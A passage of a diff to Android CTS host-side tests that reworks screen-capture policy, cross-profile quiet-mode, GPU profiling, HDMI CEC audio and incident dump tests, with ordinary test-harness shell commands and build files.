executeShellCommand("am start -a android.settings.SETTINGS");
@@ -2219,13 +2223,9 @@
? "testScreenCaptureImpossible"
: "testScreenCapturePossible";
- if (userId == mPrimaryUserId) {
- // If testing for user-0, also make sure the existing screen can't be captured.
- executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
- }
-
startSimpleActivityAsUser(userId);
executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
+ forceStopPackageForUser(TEST_APP_PKG, userId);
}
protected void setScreenCaptureDisabled_assist(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
index 2ed1e30..5492cf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -150,6 +150,9 @@
"settings put --user " + mProfileUserId
+ " secure managed_profile_contact_remote_search 1");
+ // Wait for updating cache
+ waitForBroadcastIdle();
+
// Add test account
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
"testAddTestAccount", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index f575fc7..875803c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -49,6 +49,8 @@
private static final String ACTION_WIPE_DATA =
"com.android.cts.deviceandprofileowner.WIPE_DATA";
+ private static final String TEST_APP_APK = "CtsSimpleApp.apk";
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
private static final String DUMMY_IME_APK = "DummyIme.apk";
private static final String DUMMY_IME_PKG = "com.android.cts.dummyime";
private static final String DUMMY_IME_COMPONENT = DUMMY_IME_PKG + "/.DummyIme";
@@ -554,8 +556,41 @@
if (!mHasFeature) {
return;
}
+ installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+ setPoAsUser(mPrimaryUserId);
+
+ try {
+ setScreenCaptureDisabled(true);
+ } finally {
+ setScreenCaptureDisabled(false);
+ }
+ }
+
+ private void takeScreenCaptureAsUser(int userId, String testMethodName) throws Exception {
+ installAppAsUser(TEST_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true, userId);
+ startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
- "testSetScreenCaptureDisabledOnParent", mUserId);
+ testMethodName, userId);
+ forceStopPackageForUser(TEST_APP_PKG, userId);
+ }
+
+ private void setScreenCaptureDisabled(boolean disabled) throws Exception {
+ String testMethodName = disabled
+ ? "testSetScreenCaptureDisabledOnParent_true"
+ : "testSetScreenCaptureDisabledOnParent_false";
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
+ testMethodName, mUserId);
+
+ testMethodName = disabled
+ ? "testScreenCaptureImpossible"
+ : "testScreenCapturePossible";
+
+ // Test personal profile
+ takeScreenCaptureAsUser(mPrimaryUserId, testMethodName);
+
+ // Test managed profile. This should not be disabled when screen capture is disabled on
+ // the parent by the profile owner of an organization-owned device.
+ takeScreenCaptureAsUser(mUserId, "testScreenCapturePossible");
}
private void assertHasNoUser(int userId) throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 47fcf7a..1313c31 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -28,6 +28,7 @@
private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
+ private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
private static final String USER_ENABLED_TEST_PACKAGE =
@@ -36,6 +37,8 @@
"com.android.cts.crossprofileenablednopermsapp";
private static final String NOT_ENABLED_TEST_PACKAGE =
"com.android.cts.crossprofilenotenabledapp";
+ private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
+ "com.android.cts.modifyquietmodeenabledapp";
private int mProfileId;
private String mOriginalLauncher;
@@ -194,6 +197,8 @@
assertThat(result).doesNotContain(
buildReceivedBroadcastRegex(actionName,
"CrossProfileNotEnabledAppReceiver"));
+ assertThat(result).contains(
+ buildReceivedBroadcastRegex(actionName, "ModifyQuietModeEnabledAppReceiver"));
}
private String buildReceivedBroadcastRegex(String actionName, String className) {
@@ -231,6 +236,7 @@
getDevice().uninstallPackage(USER_ENABLED_TEST_PACKAGE);
getDevice().uninstallPackage(ENABLED_NO_PERMS_TEST_PACKAGE);
getDevice().uninstallPackage(NOT_ENABLED_TEST_PACKAGE);
+ getDevice().uninstallPackage(QUIET_MODE_ENABLED_TEST_PACKAGE);
}
private void installCrossProfileApps()
@@ -239,6 +245,7 @@
installCrossProfileApp(USER_ENABLED_TEST_APK, /* grantPermissions= */ true);
installCrossProfileApp(NOT_ENABLED_TEST_APK, /* grantPermissions= */ true);
installCrossProfileApp(ENABLED_NO_PERMS_TEST_APK, /* grantPermissions= */ false);
+ installCrossProfileApp(QUIET_MODE_ENABLED_TEST_APK, /* grantPermissions= */ true);
}
private void enableCrossProfileAppsOp() throws DeviceNotAvailableException {
diff --git a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
index 6dd7410..bfaa33e 100644
--- a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
+++ b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
@@ -20,9 +20,13 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsGraphicsProfilingDataApp.apk" />
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
- <option name="push" value="ctsgraphicsgpuprofilinginit->/data/local/tmp/ctsgraphicsgpuprofilinginit" />
+ <option name="push" value="ctsgraphicsgpucountersinit->/data/local/tmp/ctsgraphicsgpucountersinit" />
<option name="append-bitness" value="true" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 6c05ece..9bb6ce7 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -13,11 +13,11 @@
// limitations under the License.
cc_test {
- name: "ctsgraphicsgpuprofilinginit",
+ name: "ctsgraphicsgpucountersinit",
srcs: [
- "android_graphics_cts_GpuProfilingData.cpp",
+ "android_graphics_cts_GpuCounters.cpp",
],
- test_suites: ["cts"],
+ test_suites: ["cts", "general-tests"],
compile_multilib: "both",
multilib: {
lib32: {
@@ -34,9 +34,44 @@
shared_libs: [
"libdl",
"libandroid",
- "libvulkan",
"liblog",
],
stl: "c++_static",
sdk_version: "current",
}
+
+cc_test_library {
+ name: "libctsgraphicsgpuprofiling_jni",
+ gtest: false,
+ srcs: [
+ "jni/CtsGraphicsProfilingDataJniOnLoad.cpp",
+ "jni/android_graphics_cts_GpuRenderStages.cpp",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+ header_libs: ["jni_headers"],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "liblog",
+ ],
+ stl: "c++_shared",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CtsGraphicsProfilingDataApp",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: ["cts", "general-tests"],
+ compile_multilib: "both",
+ jni_libs: [
+ "libctsgraphicsgpuprofiling_jni",
+ ],
+ use_embedded_native_libs: false,
+ stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
new file mode 100644
index 0000000..da58bef
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.graphics.gpuprofiling.app">
+ <application android:extractNativeLibs="true" android:debuggable="true">
+ <activity android:name=".GpuRenderStagesDeviceActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
new file mode 100644
index 0000000..c710d4f
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "GpuProfilingData"
+
+#include <chrono>
+#include <csignal>
+#include <string>
+#include <thread>
+#include <unistd.h>
+#include <vector>
+
+#include <android/log.h>
+#include <dlfcn.h>
+
+#define ALOGI(msg, ...) \
+ __android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGE(msg, ...) \
+ __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGD(msg, ...) \
+ __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, (msg), __VA_ARGS__)
+#define REQUIRE_SUCCESS(fn, name) \
+ do { \
+ if (VK_SUCCESS != fn) { \
+ ALOGE("Vulkan Error in %s", name); \
+ return -1; \
+ } \
+ } while (0)
+
+namespace {
+
+typedef void (*FN_PTR)(void);
+
+/**
+ * Load the vendor provided counter producer library.
+ * startCounterProducer is a thin rewrite of the same producer loading logic in
+ * github.com/google/agi
+ */
+
+int startCounterProducer() {
+ ALOGI("%s", "Loading producer library");
+ char *error;
+ std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
+ std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
+
+ ALOGI("Trying %s", producerPath.c_str());
+ void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
+ if ((error = dlerror()) != nullptr || handle == nullptr) {
+ ALOGE("Error loading lib: %s", error);
+ return -1;
+ }
+
+ FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
+ if ((error = dlerror()) != nullptr) {
+ ALOGE("Error looking for start symbol: %s", error);
+ dlclose(handle);
+ return -1;
+ }
+
+ if (startFunc == nullptr) {
+ ALOGE("Did not find the producer library %s", producerPath.c_str());
+ ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
+ return -1;
+ }
+
+ ALOGI("Calling start at %p", startFunc);
+ (*startFunc)();
+ ALOGI("Producer %s has exited.", producerPath.c_str());
+ dlclose(handle);
+ return 0;
+}
+
+volatile std::sig_atomic_t done = 0;
+
+} // anonymous namespace
+
+int main() {
+ std::signal(SIGTERM, [](int /*signal*/) {
+ ALOGI("%s", "SIGTERM received");
+ done = 1;
+ });
+ std::thread dummy([&]() {
+ int result = startCounterProducer();
+ ALOGI("%s %d", "startCounterProducer returned", result);
+ });
+ ALOGI("%s", "Waiting for host");
+ while (!done) {
+ std::this_thread::sleep_for(std::chrono::milliseconds(100));
+ }
+ return 0;
+}
diff --git a/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
new file mode 100644
index 0000000..5948ff8
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_gputools_cts_GpuProfilingData(JNIEnv *);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+ JNIEnv *env = nullptr;
+ if (vm->GetEnv((void **)&env, JNI_VERSION_1_4) != JNI_OK)
+ return JNI_ERR;
+ if (register_android_gputools_cts_GpuProfilingData(env))
+ return JNI_ERR;
+ return JNI_VERSION_1_4;
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
similarity index 70%
rename from hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
rename to hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
index 19439c0..e0d49c0 100644
--- a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
@@ -17,15 +17,12 @@
#define LOG_TAG "GpuProfilingData"
-#include <chrono>
-#include <csignal>
-#include <string>
-#include <thread>
-#include <unistd.h>
#include <vector>
#include <android/log.h>
#include <dlfcn.h>
+#include <jni.h>
+#include <string>
#include <vulkan/vulkan.h>
#define ALOGI(msg, ...) \
@@ -46,48 +43,7 @@
typedef void (*FN_PTR)(void);
-/**
- * Load the vendor provided counter producer library.
- * startCounterProducer is a thin rewrite of the same producer loading logic in
- * github.com/google/agi
- */
-
-int startCounterProducer() {
- ALOGI("%s", "Loading producer library");
- char *error;
- std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
- std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
-
- ALOGI("Trying %s", producerPath.c_str());
- void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
- if ((error = dlerror()) != nullptr || handle == nullptr) {
- ALOGE("Error loading lib: %s", error);
- return -1;
- }
-
- FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
- if ((error = dlerror()) != nullptr) {
- ALOGE("Error looking for start symbol: %s", error);
- dlclose(handle);
- return -1;
- }
-
- if (startFunc == nullptr) {
- ALOGE("Did not find the producer library %s", producerPath.c_str());
- ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
- return -1;
- }
-
- ALOGI("Calling start at %p", startFunc);
- (*startFunc)();
- ALOGI("Producer %s has exited.", producerPath.c_str());
- dlclose(handle);
- return 0;
-}
-
-int initVulkan(VkDevice &device) {
- std::string result = "";
-
+int initVulkan() {
const VkApplicationInfo appInfo = {
VK_STRUCTURE_TYPE_APPLICATION_INFO,
nullptr, // pNext
@@ -171,34 +127,27 @@
nullptr,
};
+ VkDevice device;
+
REQUIRE_SUCCESS(
vkCreateDevice(physicalDevice, &deviceCreateInfo, nullptr, &device),
"vkCreateDevice");
-
return 0;
}
-volatile std::sig_atomic_t done = 0;
+jint android_graphics_cts_GpuProfilingData_nativeInitVulkan(JNIEnv * /*env*/,
+ jclass /*clazz*/) {
+ return (jint)initVulkan();
+}
+static JNINativeMethod gMethods[] = {
+ {"nativeInitVulkan", "()I",
+ (void *)android_graphics_cts_GpuProfilingData_nativeInitVulkan}};
} // anonymous namespace
-int main() {
- ALOGI("%s", "Creating Vulkan device");
- VkDevice device;
- std::signal(SIGTERM, [](int /*signal*/) {
- ALOGI("%s", "SIGTERM received");
- done = 1;
- });
- int result = initVulkan(device);
- ALOGI("%s %d", "initVulkan returned", result);
- std::thread dummy([&]() {
- result = startCounterProducer();
- ALOGI("%s %d", "startCounterProducer returned", result);
- });
- ALOGI("%s", "Waiting for host");
- while (!done) {
- std::this_thread::sleep_for(std::chrono::milliseconds(100));
- }
- vkDestroyDevice(device, nullptr);
- return 0;
-}
+int register_android_gputools_cts_GpuProfilingData(JNIEnv *env) {
+ jclass clazz = env->FindClass(
+ "android/graphics/gpuprofiling/app/GpuRenderStagesDeviceActivity");
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
new file mode 100644
index 0000000..e6bd660
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.gpuprofiling.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+public class GpuRenderStagesDeviceActivity extends Activity {
+
+ static {
+ System.loadLibrary("ctsgraphicsgpuprofiling_jni");
+ }
+
+ private static final String TAG = GpuRenderStagesDeviceActivity.class.getSimpleName();
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ int result = nativeInitVulkan();
+ Log.i(TAG, "nativeInitVulkan returned: " + result);
+ Log.i(TAG, "GpuProfilingData activity complete");
+ }
+
+ private static native int nativeInitVulkan();
+}
diff --git a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
index ff33375..f5654cd 100644
--- a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
+++ b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
@@ -17,6 +17,7 @@
package android.graphics.gpuprofiling.cts;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.CommandResult;
@@ -46,11 +47,16 @@
// Positive tests
// - Ensure the perfetto producers for render stages, counters, and ftrace gpu frequency are available
- private static final String BIN_NAME = "ctsgraphicsgpuprofilinginit";
+ private static final String BIN_NAME = "ctsgraphicsgpucountersinit";
private static final String DEVICE_BIN_PATH = "/data/local/tmp/" + BIN_NAME;
+ private static final String APP = "android.graphics.gpuprofiling.app";
+ private static final String APK = "CtsGraphicsProfilingDataApp.apk";
+ private static final String ACTIVITY = "GpuRenderStagesDeviceActivity";
private static final String COUNTERS_SOURCE_NAME = "gpu.counters";
private static final String STAGES_SOURCE_NAME = "gpu.renderstages";
- private static final String PROFILING_PROPERTY = "ro.hardware.gpu.profiler.support";
+ private static final String PROFILING_PROPERTY = "graphics.gpu.profiler.support";
+ private static final String LAYER_PACKAGE_PROPERTY = "graphics.gpu.profiler.vulkan_layer_apk";
+ private static final String LAYER_NAME = "VkRenderStagesProducer";
private static int MAX_RETRIES = 5;
private class ShellThread extends Thread {
@@ -65,28 +71,40 @@
@Override
public void run() {
try {
- CommandResult activityStatus = getDevice().executeShellV2Command(mCmd);
+ getDevice().executeShellV2Command(mCmd);
} catch (Exception e) {
- // TODO Do something here?
+ CLog.e("Failed to start counters producer" + e.getMessage());
}
}
}
/**
- * Kill the native process after each test
+ * Kill the native process and remove the layer related settings after each test
*/
@After
public void cleanup() throws Exception {
- // TODO figure out how to unregister the producers
getDevice().executeShellV2Command("killall " + BIN_NAME);
+ getDevice().executeShellV2Command("am force-stop " + APP);
+ getDevice().executeShellV2Command("settings delete global gpu_debug_layers");
+ getDevice().executeShellV2Command("settings delete global enable_gpu_debug_layers");
+ getDevice().executeShellV2Command("settings delete global gpu_debug_app");
+ getDevice().executeShellV2Command("settings delete global gpu_debug_layer_app");
}
/**
- * Clean up before starting any tests.
+ * Clean up before starting any tests. Apply the necessary layer settings if we need them
*/
@Before
public void init() throws Exception {
cleanup();
+ String layerApp = getDevice().getProperty(LAYER_PACKAGE_PROPERTY);
+ if (layerApp != null && !layerApp.isEmpty()) {
+ getDevice().executeShellV2Command("settings put global enable_gpu_debug_layers 1");
+ getDevice().executeShellV2Command("settings put global gpu_debug_app " + APP);
+ getDevice().executeShellV2Command("settings put global gpu_debug_layer_app " + layerApp);
+ getDevice().executeShellV2Command("settings put global gpu_debug_layers " + LAYER_NAME);
+ }
+ installPackage(APK);
}
/**
@@ -100,6 +118,7 @@
// Spin up a new thread to avoid blocking the main thread while the native process waits to be killed.
ShellThread shellThread = new ShellThread(DEVICE_BIN_PATH);
shellThread.start();
+ CommandResult activityStatus = getDevice().executeShellV2Command("am start -n " + APP + "/." + ACTIVITY);
boolean countersSourceFound = false;
boolean stagesSourceFound = false;
for(int i = 0; i < MAX_RETRIES; i++) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 6437ec0..8d4ece1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -67,4 +67,15 @@
private CecMessage(int messageId) {
this.messageId = messageId;
}
+
+ public static String formatParams(long rawParam) {
+ StringBuilder params = new StringBuilder("");
+
+ do {
+ params.insert(0, ":" + String.format("%02x", rawParam % 256));
+ rawParam >>= 8;
+ } while (rawParam > 0);
+
+ return params.toString();
+ }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 3ac2e5f..5162a27 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -64,6 +64,8 @@
@Test
public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
ITestDevice device = getDevice();
+ hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+ CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
CecMessage.USER_CONTROL_PRESSED);
@@ -89,7 +91,9 @@
@Test
public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
ITestDevice device = getDevice();
- device.executeShellCommand("input keyevent KEYCODE_MUTE");
+ hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+ CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
+ device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
CecMessage.USER_CONTROL_PRESSED);
assertEquals(HdmiCecConstants.CEC_CONTROL_MUTE,
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index 460181d0..f7dcec1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -72,8 +72,6 @@
AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
- MemInfoIncidentTest.verifyMemInfoDumpProto(dump.getMeminfo(), filterLevel);
-
// GraphicsStats is expected to be all AUTOMATIC.
WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
deleted file mode 100644
index 2747972..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.am.MemInfoDumpProto;
-import com.android.server.am.MemInfoDumpProto.AppData;
-import com.android.server.am.MemInfoDumpProto.MemItem;
-import com.android.server.am.MemInfoDumpProto.ProcessMemory;
-
-/** Test to check that ActivityManager properly outputs meminfo data. */
-public class MemInfoIncidentTest extends ProtoDumpTestCase {
-
- public void testMemInfoDump() throws Exception {
- final MemInfoDumpProto dump =
- getDump(MemInfoDumpProto.parser(), "dumpsys -t 30000 meminfo -a --proto");
-
- verifyMemInfoDumpProto(dump, PRIVACY_NONE);
- }
-
- static void verifyMemInfoDumpProto(MemInfoDumpProto dump, final int filterLevel) throws Exception {
- assertTrue(dump.getUptimeDurationMs() >= 0);
- assertTrue(dump.getElapsedRealtimeMs() >= 0);
-
- for (ProcessMemory pm : dump.getNativeProcessesList()) {
- testProcessMemory(pm);
- }
-
- for (AppData ad : dump.getAppProcessesList()) {
- testAppData(ad);
- }
-
- for (MemItem mi : dump.getTotalPssByProcessList()) {
- testMemItem(mi);
- }
- for (MemItem mi : dump.getTotalPssByOomAdjustmentList()) {
- testMemItem(mi);
- }
- for (MemItem mi : dump.getTotalPssByCategoryList()) {
- testMemItem(mi);
- }
-
- assertTrue(0 <= dump.getTotalRamKb());
- assertTrue(0 <= dump.getCachedPssKb());
- assertTrue(0 <= dump.getCachedKernelKb());
- assertTrue(0 <= dump.getFreeKb());
- assertTrue(0 <= dump.getUsedPssKb());
- assertTrue(0 <= dump.getUsedKernelKb());
-
- // Ideally lost RAM would not be negative, but there's an issue where it's sometimes
- // calculated to be negative.
- // TODO: re-enable check once the underlying bug has been fixed.
- // assertTrue(0 <= dump.getLostRamKb());
-
- assertTrue(0 <= dump.getTotalZramKb());
- assertTrue(0 <= dump.getZramPhysicalUsedInSwapKb());
- assertTrue(0 <= dump.getTotalZramSwapKb());
-
- assertTrue(0 <= dump.getKsmSharingKb());
- assertTrue(0 <= dump.getKsmSharedKb());
- assertTrue(0 <= dump.getKsmUnsharedKb());
- assertTrue(0 <= dump.getKsmVolatileKb());
-
- assertTrue("Tuning_mb (" + dump.getTuningMb() + ") is not positive", 0 < dump.getTuningMb());
- assertTrue(0 < dump.getTuningLargeMb());
-
